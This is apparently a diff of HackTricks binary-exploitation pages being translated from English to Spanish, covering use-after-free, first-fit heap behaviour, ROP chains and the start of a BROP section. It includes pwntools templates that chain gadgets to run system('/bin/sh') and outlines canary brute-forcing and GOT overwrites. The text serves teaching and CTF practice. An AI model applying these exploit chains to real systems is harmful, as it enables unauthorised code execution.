- [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/) - [**Robot Factory. BlackHat MEA CTF 2022**](https://7rocky.github.io/en/ctf/other/blackhat-ctf/robot-factory/)
- We can only allocate chunks of size greater than `0x100`. - Solo podemos asignar chunks de tamaño mayor que `0x100`.
- Overwrite `global_max_fast` using an Unsorted Bin attack (works 1/16 times due to ASLR, because we need to modify 12 bits, but we must modify 16 bits). - Sobrescribir `global_max_fast` usando un ataque de Unsorted Bin (funciona 1 de cada 16 veces debido a ASLR, porque necesitamos modificar 12 bits, pero debemos modificar 16 bits).
- Fast Bin attack to modify the a global array of chunks. This gives an arbitrary read/write primitive, which allows to modify the GOT and set some function to point to `system`. - Ataque de Fast Bin para modificar un arreglo global de chunks. Esto proporciona una primitiva de lectura/escritura arbitraria, que permite modificar el GOT y hacer que algunas funciones apunten a `system`.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,17 +1,17 @@
# Use After Free # Uso Después de Liberar
{{#include ../../../banners/hacktricks-training.md}} {{#include ../../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
As the name implies, this vulnerability occurs when a program **stores some space** in the heap for an object, **writes** some info there, **frees** it apparently because it's not needed anymore and then **accesses it again**. Como su nombre indica, esta vulnerabilidad ocurre cuando un programa **almacena algún espacio** en el heap para un objeto, **escribe** alguna información allí, **libera** aparentemente porque ya no se necesita y luego **accede a él nuevamente**.
The problem here is that it's not ilegal (there **won't be errors**) when a **freed memory is accessed**. So, if the program (or the attacker) managed to **allocate the freed memory and store arbitrary data**, when the freed memory is accessed from the initial pointer that **data would be have been overwritten** causing a **vulnerability that will depends on the sensitivity of the data** that was stored original (if it was a pointer of a function that was going to be be called, an attacker could know control it). El problema aquí es que no es ilegal (no **habrá errores**) cuando se **accede a memoria liberada**. Así que, si el programa (o el atacante) logra **asignar la memoria liberada y almacenar datos arbitrarios**, cuando se accede a la memoria liberada desde el puntero inicial, **esos datos habrían sido sobrescritos**, causando una **vulnerabilidad que dependerá de la sensibilidad de los datos** que se almacenaron originalmente (si era un puntero a una función que iba a ser llamada, un atacante podría saber controlarlo).
### First Fit attack ### Ataque de Primer Ajuste
A first fit attack targets the way some memory allocators, like in glibc, manage freed memory. When you free a block of memory, it gets added to a list, and new memory requests pull from that list from the end. Attackers can use this behavior to manipulate **which memory blocks get reused, potentially gaining control over them**. This can lead to "use-after-free" issues, where an attacker could **change the contents of memory that gets reallocated**, creating a security risk.\ Un ataque de primer ajuste se dirige a la forma en que algunos asignadores de memoria, como en glibc, gestionan la memoria liberada. Cuando liberas un bloque de memoria, se agrega a una lista, y las nuevas solicitudes de memoria se extraen de esa lista desde el final. Los atacantes pueden usar este comportamiento para manipular **qué bloques de memoria se reutilizan, potencialmente ganando control sobre ellos**. Esto puede llevar a problemas de "uso después de liberar", donde un atacante podría **cambiar el contenido de la memoria que se vuelve a asignar**, creando un riesgo de seguridad.\
Check more info in: Consulta más información en:
{{#ref}} {{#ref}}
first-fit.md first-fit.md

View File

@ -4,36 +4,33 @@
## **First Fit** ## **First Fit**
When you free memory in a program using glibc, different "bins" are used to manage the memory chunks. Here's a simplified explanation of two common scenarios: unsorted bins and fastbins. Cuando liberas memoria en un programa usando glibc, se utilizan diferentes "bins" para gestionar los bloques de memoria. Aquí hay una explicación simplificada de dos escenarios comunes: bins no ordenados y fastbins.
### Unsorted Bins ### Bins No Ordenados
When you free a memory chunk that's not a fast chunk, it goes to the unsorted bin. This bin acts like a list where new freed chunks are added to the front (the "head"). When you request a new chunk of memory, the allocator looks at the unsorted bin from the back (the "tail") to find a chunk that's big enough. If a chunk from the unsorted bin is bigger than what you need, it gets split, with the front part being returned and the remaining part staying in the bin. Cuando liberas un bloque de memoria que no es un bloque rápido, va al bin no ordenado. Este bin actúa como una lista donde los nuevos bloques liberados se añaden al frente (la "cabeza"). Cuando solicitas un nuevo bloque de memoria, el asignador mira el bin no ordenado desde la parte trasera (la "cola") para encontrar un bloque que sea lo suficientemente grande. Si un bloque del bin no ordenado es más grande de lo que necesitas, se divide, devolviendo la parte delantera y manteniendo la parte restante en el bin.
Example: Ejemplo:
- You allocate 300 bytes (`a`), then 250 bytes (`b`), the free `a` and request again 250 bytes (`c`).
- When you free `a`, it goes to the unsorted bin.
- If you then request 250 bytes again, the allocator finds `a` at the tail and splits it, returning the part that fits your request and keeping the rest in the bin.
- `c` will be pointing to the previous `a` and filled with the `a's`.
- Asignas 300 bytes (`a`), luego 250 bytes (`b`), liberas `a` y solicitas nuevamente 250 bytes (`c`).
- Cuando liberas `a`, va al bin no ordenado.
- Si luego solicitas 250 bytes nuevamente, el asignador encuentra `a` en la cola y lo divide, devolviendo la parte que se ajusta a tu solicitud y manteniendo el resto en el bin.
- `c` apuntará al anterior `a` y estará lleno con los `a's`.
```c ```c
char *a = malloc(300); char *a = malloc(300);
char *b = malloc(250); char *b = malloc(250);
free(a); free(a);
char *c = malloc(250); char *c = malloc(250);
``` ```
### Fastbins ### Fastbins
Fastbins are used for small memory chunks. Unlike unsorted bins, fastbins add new chunks to the head, creating a last-in-first-out (LIFO) behavior. If you request a small chunk of memory, the allocator will pull from the fastbin's head. Fastbins se utilizan para pequeños fragmentos de memoria. A diferencia de los bins no ordenados, los fastbins añaden nuevos fragmentos a la cabeza, creando un comportamiento de último en entrar, primero en salir (LIFO). Si solicitas un pequeño fragmento de memoria, el asignador tomará de la cabeza del fastbin.
Example: Ejemplo:
- You allocate four chunks of 20 bytes each (`a`, `b`, `c`, `d`).
- When you free them in any order, the freed chunks are added to the fastbin's head.
- If you then request a 20-byte chunk, the allocator will return the most recently freed chunk from the head of the fastbin.
- Asignas cuatro fragmentos de 20 bytes cada uno (`a`, `b`, `c`, `d`).
- Cuando los liberas en cualquier orden, los fragmentos liberados se añaden a la cabeza del fastbin.
- Si luego solicitas un fragmento de 20 bytes, el asignador devolverá el fragmento liberado más recientemente de la cabeza del fastbin.
```c ```c
char *a = malloc(20); char *a = malloc(20);
char *b = malloc(20); char *b = malloc(20);
@ -48,17 +45,16 @@ b = malloc(20); // c
c = malloc(20); // b c = malloc(20); // b
d = malloc(20); // a d = malloc(20); // a
``` ```
## Otras Referencias y Ejemplos
## Other References & Examples
- [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit) - [**https://heap-exploitation.dhavalkapil.com/attacks/first_fit**](https://heap-exploitation.dhavalkapil.com/attacks/first_fit)
- [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/) - [**https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/**](https://8ksec.io/arm64-reversing-and-exploitation-part-2-use-after-free/)
- ARM64. Use after free: Generate an user object, free it, generate an object that gets the freed chunk and allow to write to it, **overwriting the position of user->password** from the previous one. Reuse the user to **bypass the password check** - ARM64. Use after free: Generar un objeto de usuario, liberarlo, generar un objeto que obtenga el fragmento liberado y permitir escribir en él, **sobrescribiendo la posición de user->password** del anterior. Reutilizar el usuario para **eludir la verificación de contraseña**
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example) - [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/use_after_free/#example)
- The program allows to create notes. A note will have the note info in a malloc(8) (with a pointer to a function that could be called) and a pointer to another malloc(\<size>) with the contents of the note. - El programa permite crear notas. Una nota tendrá la información de la nota en un malloc(8) (con un puntero a una función que podría ser llamada) y un puntero a otro malloc(\<size>) con el contenido de la nota.
- The attack would be to create 2 notes (note0 and note1) with bigger malloc contents than the note info size and then free them so they get into the fast bin (or tcache). - El ataque consistiría en crear 2 notas (note0 y note1) con contenidos de malloc más grandes que el tamaño de la información de la nota y luego liberarlas para que entren en el fast bin (o tcache).
- Then, create another note (note2) with content size 8. The content is going to be in note1 as the chunk is going to be reused, were we could modify the function pointer to point to the win function and then Use-After-Free the note1 to call the new function pointer. - Luego, crear otra nota (note2) con un tamaño de contenido de 8. El contenido estará en note1 ya que el fragmento se va a reutilizar, donde podríamos modificar el puntero de función para apuntar a la función win y luego Use-After-Free la note1 para llamar al nuevo puntero de función.
- [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html) - [**https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/pico_areyouroot/index.html)
- It's possible to alloc some memory, write the desired value, free it, realloc it and as the previous data is still there, it will treated according the new expected struct in the chunk making possible to set the value ot get the flag. - Es posible asignar algo de memoria, escribir el valor deseado, liberarlo, reallocarlo y como los datos anteriores aún están allí, se tratará de acuerdo con la nueva estructura esperada en el fragmento, lo que hace posible establecer el valor o obtener la bandera.
- [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html) - [**https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html**](https://guyinatuxedo.github.io/26-heap_grooming/swamp19_heapgolf/index.html)
- In this case it's needed to write 4 inside an specific chunk which is the first one being allocated (even after force freeing all of them). On each new allocated chunk it's number in the array index is stored. Then, allocate 4 chunks (+ the initialy allocated), the last one will have 4 inside of it, free them and force the reallocation of the first one, which will use the last chunk freed which is the one with 4 inside of it. - En este caso, es necesario escribir 4 dentro de un fragmento específico que es el primero que se asigna (incluso después de forzar la liberación de todos ellos). En cada nuevo fragmento asignado, su número en el índice del array se almacena. Luego, asignar 4 fragmentos (+ el inicialmente asignado), el último tendrá 4 dentro de él, liberarlos y forzar la reasignación del primero, que utilizará el último fragmento liberado que es el que tiene 4 dentro de él.

View File

@ -1,46 +1,45 @@
# ROP - Return Oriented Programing # ROP - Programación Orientada a Retornos
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## **Basic Information** ## **Información Básica**
**Return-Oriented Programming (ROP)** is an advanced exploitation technique used to circumvent security measures like **No-Execute (NX)** or **Data Execution Prevention (DEP)**. Instead of injecting and executing shellcode, an attacker leverages pieces of code already present in the binary or in loaded libraries, known as **"gadgets"**. Each gadget typically ends with a `ret` instruction and performs a small operation, such as moving data between registers or performing arithmetic operations. By chaining these gadgets together, an attacker can construct a payload to perform arbitrary operations, effectively bypassing NX/DEP protections. **Programación Orientada a Retornos (ROP)** es una técnica de explotación avanzada utilizada para eludir medidas de seguridad como **No-Execute (NX)** o **Prevención de Ejecución de Datos (DEP)**. En lugar de inyectar y ejecutar shellcode, un atacante aprovecha fragmentos de código ya presentes en el binario o en bibliotecas cargadas, conocidos como **"gadgets"**. Cada gadget generalmente termina con una instrucción `ret` y realiza una pequeña operación, como mover datos entre registros o realizar operaciones aritméticas. Al encadenar estos gadgets, un atacante puede construir una carga útil para realizar operaciones arbitrarias, eludiendo efectivamente las protecciones NX/DEP.
### How ROP Works ### Cómo Funciona ROP
1. **Control Flow Hijacking**: First, an attacker needs to hijack the control flow of a program, typically by exploiting a buffer overflow to overwrite a saved return address on the stack. 1. **Secuestro del Flujo de Control**: Primero, un atacante necesita secuestrar el flujo de control de un programa, típicamente explotando un desbordamiento de búfer para sobrescribir una dirección de retorno guardada en la pila.
2. **Gadget Chaining**: The attacker then carefully selects and chains gadgets to perform the desired actions. This could involve setting up arguments for a function call, calling the function (e.g., `system("/bin/sh")`), and handling any necessary cleanup or additional operations. 2. **Encadenamiento de Gadgets**: El atacante luego selecciona y encadena cuidadosamente gadgets para realizar las acciones deseadas. Esto podría implicar configurar argumentos para una llamada a función, llamar a la función (por ejemplo, `system("/bin/sh")`), y manejar cualquier limpieza o operaciones adicionales necesarias.
3. **Payload Execution**: When the vulnerable function returns, instead of returning to a legitimate location, it starts executing the chain of gadgets. 3. **Ejecución de la Carga Útil**: Cuando la función vulnerable retorna, en lugar de regresar a una ubicación legítima, comienza a ejecutar la cadena de gadgets.
### Tools ### Herramientas
Typically, gadgets can be found using [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) or directly from **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)). Típicamente, los gadgets se pueden encontrar usando [**ROPgadget**](https://github.com/JonathanSalwan/ROPgadget), [**ropper**](https://github.com/sashs/Ropper) o directamente desde **pwntools** ([ROP](https://docs.pwntools.com/en/stable/rop/rop.html)).
## ROP Chain in x86 Example ## Ejemplo de Cadena ROP en x86
### **x86 (32-bit) Calling conventions** ### **x86 (32-bit) Convenciones de Llamada**
- **cdecl**: The caller cleans the stack. Function arguments are pushed onto the stack in reverse order (right-to-left). **Arguments are pushed onto the stack from right to left.** - **cdecl**: El llamador limpia la pila. Los argumentos de la función se empujan en la pila en orden inverso (de derecha a izquierda). **Los argumentos se empujan en la pila de derecha a izquierda.**
- **stdcall**: Similar to cdecl, but the callee is responsible for cleaning the stack. - **stdcall**: Similar a cdecl, pero el llamado es responsable de limpiar la pila.
### **Finding Gadgets** ### **Encontrando Gadgets**
First, let's assume we've identified the necessary gadgets within the binary or its loaded libraries. The gadgets we're interested in are: Primero, supongamos que hemos identificado los gadgets necesarios dentro del binario o sus bibliotecas cargadas. Los gadgets que nos interesan son:
- `pop eax; ret`: This gadget pops the top value of the stack into the `EAX` register and then returns, allowing us to control `EAX`. - `pop eax; ret`: Este gadget saca el valor superior de la pila en el registro `EAX` y luego retorna, permitiéndonos controlar `EAX`.
- `pop ebx; ret`: Similar to the above, but for the `EBX` register, enabling control over `EBX`. - `pop ebx; ret`: Similar al anterior, pero para el registro `EBX`, habilitando el control sobre `EBX`.
- `mov [ebx], eax; ret`: Moves the value in `EAX` to the memory location pointed to by `EBX` and then returns. This is often called a **write-what-where gadget**. - `mov [ebx], eax; ret`: Mueve el valor en `EAX` a la ubicación de memoria apuntada por `EBX` y luego retorna. Esto se llama a menudo un **gadget de escribir-qué-dónde**.
- Additionally, we have the address of the `system()` function available. - Además, tenemos la dirección de la función `system()` disponible.
### **ROP Chain** ### **Cadena ROP**
Using **pwntools**, we prepare the stack for the ROP chain execution as follows aiming to execute `system('/bin/sh')`, note how the chain starts with: Usando **pwntools**, preparamos la pila para la ejecución de la cadena ROP de la siguiente manera, con el objetivo de ejecutar `system('/bin/sh')`, nota cómo la cadena comienza con:
1. A `ret` instruction for alignment purposes (optional)
2. Address of `system` function (supposing ASLR disabled and known libc, more info in [**Ret2lib**](ret2lib/))
3. Placeholder for the return address from `system()`
4. `"/bin/sh"` string address (parameter for system function)
1. Una instrucción `ret` para propósitos de alineación (opcional)
2. Dirección de la función `system` (suponiendo ASLR deshabilitado y libc conocida, más información en [**Ret2lib**](ret2lib/))
3. Marcador de posición para la dirección de retorno de `system()`
4. Dirección de la cadena `"/bin/sh"` (parámetro para la función system)
```python ```python
from pwn import * from pwn import *
@ -59,10 +58,10 @@ ret_gadget = 0xcafebabe # This could be any gadget that allows us to control th
# Construct the ROP chain # Construct the ROP chain
rop_chain = [ rop_chain = [
ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues ret_gadget, # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr, # Address of system(). Execution will continue here after the ret gadget system_addr, # Address of system(). Execution will continue here after the ret gadget
0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place. 0x41414141, # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system() bin_sh_addr # Address of "/bin/sh" string goes here, as the argument to system()
] ]
# Flatten the rop_chain for use # Flatten the rop_chain for use
@ -74,28 +73,26 @@ payload = fit({offset: rop_chain})
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
## Cadena ROP en x64 Ejemplo
## ROP Chain in x64 Example ### **x64 (64-bit) Convenciones de llamada**
### **x64 (64-bit) Calling conventions** - Utiliza la convención de llamada **System V AMD64 ABI** en sistemas similares a Unix, donde los **primeros seis argumentos enteros o punteros se pasan en los registros `RDI`, `RSI`, `RDX`, `RCX`, `R8` y `R9`**. Los argumentos adicionales se pasan en la pila. El valor de retorno se coloca en `RAX`.
- La convención de llamada **Windows x64** utiliza `RCX`, `RDX`, `R8` y `R9` para los primeros cuatro argumentos enteros o punteros, con argumentos adicionales pasados en la pila. El valor de retorno se coloca en `RAX`.
- **Registros**: los registros de 64 bits incluyen `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP` y `R8` a `R15`.
- Uses the **System V AMD64 ABI** calling convention on Unix-like systems, where the **first six integer or pointer arguments are passed in the registers `RDI`, `RSI`, `RDX`, `RCX`, `R8`, and `R9`**. Additional arguments are passed on the stack. The return value is placed in `RAX`. #### **Encontrar Gadgets**
- **Windows x64** calling convention uses `RCX`, `RDX`, `R8`, and `R9` for the first four integer or pointer arguments, with additional arguments passed on the stack. The return value is placed in `RAX`.
- **Registers**: 64-bit registers include `RAX`, `RBX`, `RCX`, `RDX`, `RSI`, `RDI`, `RBP`, `RSP`, and `R8` to `R15`.
#### **Finding Gadgets** Para nuestro propósito, centrémonos en gadgets que nos permitan establecer el registro **RDI** (para pasar la cadena **"/bin/sh"** como argumento a **system()**) y luego llamar a la función **system()**. Supondremos que hemos identificado los siguientes gadgets:
For our purpose, let's focus on gadgets that will allow us to set the **RDI** register (to pass the **"/bin/sh"** string as an argument to **system()**) and then call the **system()** function. We'll assume we've identified the following gadgets: - **pop rdi; ret**: Extrae el valor superior de la pila en **RDI** y luego retorna. Esencial para establecer nuestro argumento para **system()**.
- **ret**: Un retorno simple, útil para la alineación de la pila en algunos escenarios.
- **pop rdi; ret**: Pops the top value of the stack into **RDI** and then returns. Essential for setting our argument for **system()**. Y sabemos la dirección de la función **system()**.
- **ret**: A simple return, useful for stack alignment in some scenarios.
And we know the address of the **system()** function. ### **Cadena ROP**
### **ROP Chain**
Below is an example using **pwntools** to set up and execute a ROP chain aiming to execute **system('/bin/sh')** on **x64**:
A continuación se muestra un ejemplo utilizando **pwntools** para configurar y ejecutar una cadena ROP con el objetivo de ejecutar **system('/bin/sh')** en **x64**:
```python ```python
from pwn import * from pwn import *
@ -115,10 +112,10 @@ ret_gadget = 0xdeadbeefdeadbead # ret gadget for alignment, if necessary
# Construct the ROP chain # Construct the ROP chain
rop_chain = [ rop_chain = [
ret_gadget, # Alignment gadget, if needed ret_gadget, # Alignment gadget, if needed
pop_rdi_gadget, # pop rdi; ret pop_rdi_gadget, # pop rdi; ret
bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system() bin_sh_addr, # Address of "/bin/sh" string goes here, as the argument to system()
system_addr # Address of system(). Execution will continue here. system_addr # Address of system(). Execution will continue here.
] ]
# Flatten the rop_chain for use # Flatten the rop_chain for use
@ -130,66 +127,65 @@ payload = fit({offset: rop_chain})
p.sendline(payload) p.sendline(payload)
p.interactive() p.interactive()
``` ```
En este ejemplo:
In this example: - Utilizamos el gadget **`pop rdi; ret`** para establecer **`RDI`** en la dirección de **`"/bin/sh"`**.
- Saltamos directamente a **`system()`** después de establecer **`RDI`**, con la dirección de **system()** en la cadena.
- **`ret_gadget`** se utiliza para la alineación si el entorno objetivo lo requiere, lo cual es más común en **x64** para asegurar una alineación adecuada de la pila antes de llamar a funciones.
- We utilize the **`pop rdi; ret`** gadget to set **`RDI`** to the address of **`"/bin/sh"`**. ### Alineación de la Pila
- We directly jump to **`system()`** after setting **`RDI`**, with **system()**'s address in the chain.
- **`ret_gadget`** is used for alignment if the target environment requires it, which is more common in **x64** to ensure proper stack alignment before calling functions.
### Stack Alignment **El ABI x86-64** asegura que la **pila esté alineada a 16 bytes** cuando se ejecuta una **instrucción de llamada**. **LIBC**, para optimizar el rendimiento, **utiliza instrucciones SSE** (como **movaps**) que requieren esta alineación. Si la pila no está alineada correctamente (lo que significa que **RSP** no es un múltiplo de 16), las llamadas a funciones como **system** fallarán en una **cadena ROP**. Para solucionar esto, simplemente agrega un **gadget ret** antes de llamar a **system** en tu cadena ROP.
**The x86-64 ABI** ensures that the **stack is 16-byte aligned** when a **call instruction** is executed. **LIBC**, to optimize performance, **uses SSE instructions** (like **movaps**) which require this alignment. If the stack isn't aligned properly (meaning **RSP** isn't a multiple of 16), calls to functions like **system** will fail in a **ROP chain**. To fix this, simply add a **ret gadget** before calling **system** in your ROP chain. ## Diferencia principal entre x86 y x64
## x86 vs x64 main difference
> [!TIP] > [!TIP]
> Since **x64 uses registers for the first few arguments,** it often requires fewer gadgets than x86 for simple function calls, but finding and chaining the right gadgets can be more complex due to the increased number of registers and the larger address space. The increased number of registers and the larger address space in **x64** architecture provide both opportunities and challenges for exploit development, especially in the context of Return-Oriented Programming (ROP). > Dado que **x64 utiliza registros para los primeros argumentos,** a menudo requiere menos gadgets que x86 para llamadas a funciones simples, pero encontrar y encadenar los gadgets correctos puede ser más complejo debido al mayor número de registros y al espacio de direcciones más grande. El mayor número de registros y el espacio de direcciones más grande en la arquitectura **x64** ofrecen tanto oportunidades como desafíos para el desarrollo de exploits, especialmente en el contexto de la Programación Orientada a Retornos (ROP).
## ROP chain in ARM64 Example ## Ejemplo de cadena ROP en ARM64
### **ARM64 Basics & Calling conventions** ### **Conceptos básicos de ARM64 y convenciones de llamada**
Check the following page for this information: Consulta la siguiente página para esta información:
{{#ref}} {{#ref}}
../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md ../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
{{#endref}} {{#endref}}
## Protections Against ROP ## Protecciones contra ROP
- [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **&** [**PIE**](../common-binary-protections-and-bypasses/pie/): These protections makes harder the use of ROP as the addresses of the gadgets changes between execution. - [**ASLR**](../common-binary-protections-and-bypasses/aslr/) **y** [**PIE**](../common-binary-protections-and-bypasses/pie/): Estas protecciones dificultan el uso de ROP ya que las direcciones de los gadgets cambian entre ejecuciones.
- [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): In of a BOF, it's needed to bypass the stores stack canary to overwrite return pointers to abuse a ROP chain - [**Stack Canaries**](../common-binary-protections-and-bypasses/stack-canaries/): En caso de un BOF, es necesario eludir el almacenamiento del canario de pila para sobrescribir los punteros de retorno y abusar de una cadena ROP.
- **Lack of Gadgets**: If there aren't enough gadgets it won't be possible to generate a ROP chain. - **Falta de Gadgets**: Si no hay suficientes gadgets, no será posible generar una cadena ROP.
## ROP based techniques ## Técnicas basadas en ROP
Notice that ROP is just a technique in order to execute arbitrary code. Based in ROP a lot of Ret2XXX techniques were developed: Ten en cuenta que ROP es solo una técnica para ejecutar código arbitrario. Basado en ROP se desarrollaron muchas técnicas Ret2XXX:
- **Ret2lib**: Use ROP to call arbitrary functions from a loaded library with arbitrary parameters (usually something like `system('/bin/sh')`. - **Ret2lib**: Usa ROP para llamar a funciones arbitrarias de una biblioteca cargada con parámetros arbitrarios (generalmente algo como `system('/bin/sh')`.
{{#ref}} {{#ref}}
ret2lib/ ret2lib/
{{#endref}} {{#endref}}
- **Ret2Syscall**: Use ROP to prepare a call to a syscall, e.g. `execve`, and make it execute arbitrary commands. - **Ret2Syscall**: Usa ROP para preparar una llamada a una syscall, por ejemplo, `execve`, y hacer que ejecute comandos arbitrarios.
{{#ref}} {{#ref}}
rop-syscall-execv/ rop-syscall-execv/
{{#endref}} {{#endref}}
- **EBP2Ret & EBP Chaining**: The first will abuse EBP instead of EIP to control the flow and the second is similar to Ret2lib but in this case the flow is controlled mainly with EBP addresses (although t's also needed to control EIP). - **EBP2Ret y EBP Chaining**: El primero abusará de EBP en lugar de EIP para controlar el flujo y el segundo es similar a Ret2lib, pero en este caso el flujo se controla principalmente con direcciones EBP (aunque también es necesario controlar EIP).
{{#ref}} {{#ref}}
../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md ../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md
{{#endref}} {{#endref}}
## Other Examples & References ## Otros Ejemplos y Referencias
- [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions) - [https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions](https://ir0nstone.gitbook.io/notes/types/stack/return-oriented-programming/exploiting-calling-conventions)
- [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html) - [https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html)
- 64 bit, Pie and nx enabled, no canary, overwrite RIP with a `vsyscall` address with the sole purpose or return to the next address in the stack which will be a partial overwrite of the address to get the part of the function that leaks the flag - 64 bits, Pie y nx habilitados, sin canario, sobrescribir RIP con una dirección `vsyscall` con el único propósito de regresar a la siguiente dirección en la pila, que será una sobrescritura parcial de la dirección para obtener la parte de la función que filtra la bandera.
- [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/) - [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
- arm64, no ASLR, ROP gadget to make stack executable and jump to shellcode in stack - arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila.
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -1,124 +1,124 @@
# BROP - Blind Return Oriented Programming # BROP - Programación Orientada a Retornos Ciega
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Basic Information ## Información Básica
The goal of this attack is to be able to **abuse a ROP via a buffer overflow without any information about the vulnerable binary**.\ El objetivo de este ataque es poder **abusar de un ROP a través de un desbordamiento de búfer sin ninguna información sobre el binario vulnerable**.\
This attack is based on the following scenario: Este ataque se basa en el siguiente escenario:
- A stack vulnerability and knowledge of how to trigger it. - Una vulnerabilidad en la pila y conocimiento de cómo activarla.
- A server application that restarts after a crash. - Una aplicación de servidor que se reinicia después de un fallo.
## Attack ## Ataque
### **1. Find vulnerable offset** sending one more character until a malfunction of the server is detected ### **1. Encontrar el desplazamiento vulnerable** enviando un carácter más hasta que se detecte un mal funcionamiento del servidor
### **2. Brute-force canary** to leak it ### **2. Fuerza bruta del canario** para filtrarlo
### **3. Brute-force stored RBP and RIP** addresses in the stack to leak them ### **3. Fuerza bruta de las direcciones RBP y RIP** almacenadas en la pila para filtrarlas
You can find more information about these processes [here (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) and [here (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md). Puedes encontrar más información sobre estos procesos [aquí (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) y [aquí (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
### **4. Find the stop gadget** ### **4. Encontrar el gadget de parada**
This gadget basically allows to confirm that something interesting was executed by the ROP gadget because the execution didn't crash. Usually, this gadget is going to be something that **stops the execution** and it's positioned at the end of the ROP chain when looking for ROP gadgets to confirm a specific ROP gadget was executed Este gadget permite confirmar que algo interesante fue ejecutado por el gadget ROP porque la ejecución no falló. Generalmente, este gadget va a ser algo que **detiene la ejecución** y está posicionado al final de la cadena ROP al buscar gadgets ROP para confirmar que un gadget ROP específico fue ejecutado.
### **5. Find BROP gadget** ### **5. Encontrar el gadget BROP**
This technique uses the [**ret2csu**](ret2csu.md) gadget. And this is because if you access this gadget in the middle of some instructions you get gadgets to control **`rsi`** and **`rdi`**: Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar **`rsi`** y **`rdi`**:
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure> <figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
These would be the gadgets: Estos serían los gadgets:
- `pop rsi; pop r15; ret` - `pop rsi; pop r15; ret`
- `pop rdi; ret` - `pop rdi; ret`
Notice how with those gadgets it's possible to **control 2 arguments** of a function to call. Observa cómo con esos gadgets es posible **controlar 2 argumentos** de una función a llamar.
Also, notice that the ret2csu gadget has a **very unique signature** because it's going to be poping 6 registers from the stack. SO sending a chain like: Además, nota que el gadget ret2csu tiene una **firma muy única** porque va a estar sacando 6 registros de la pila. Así que enviando una cadena como:
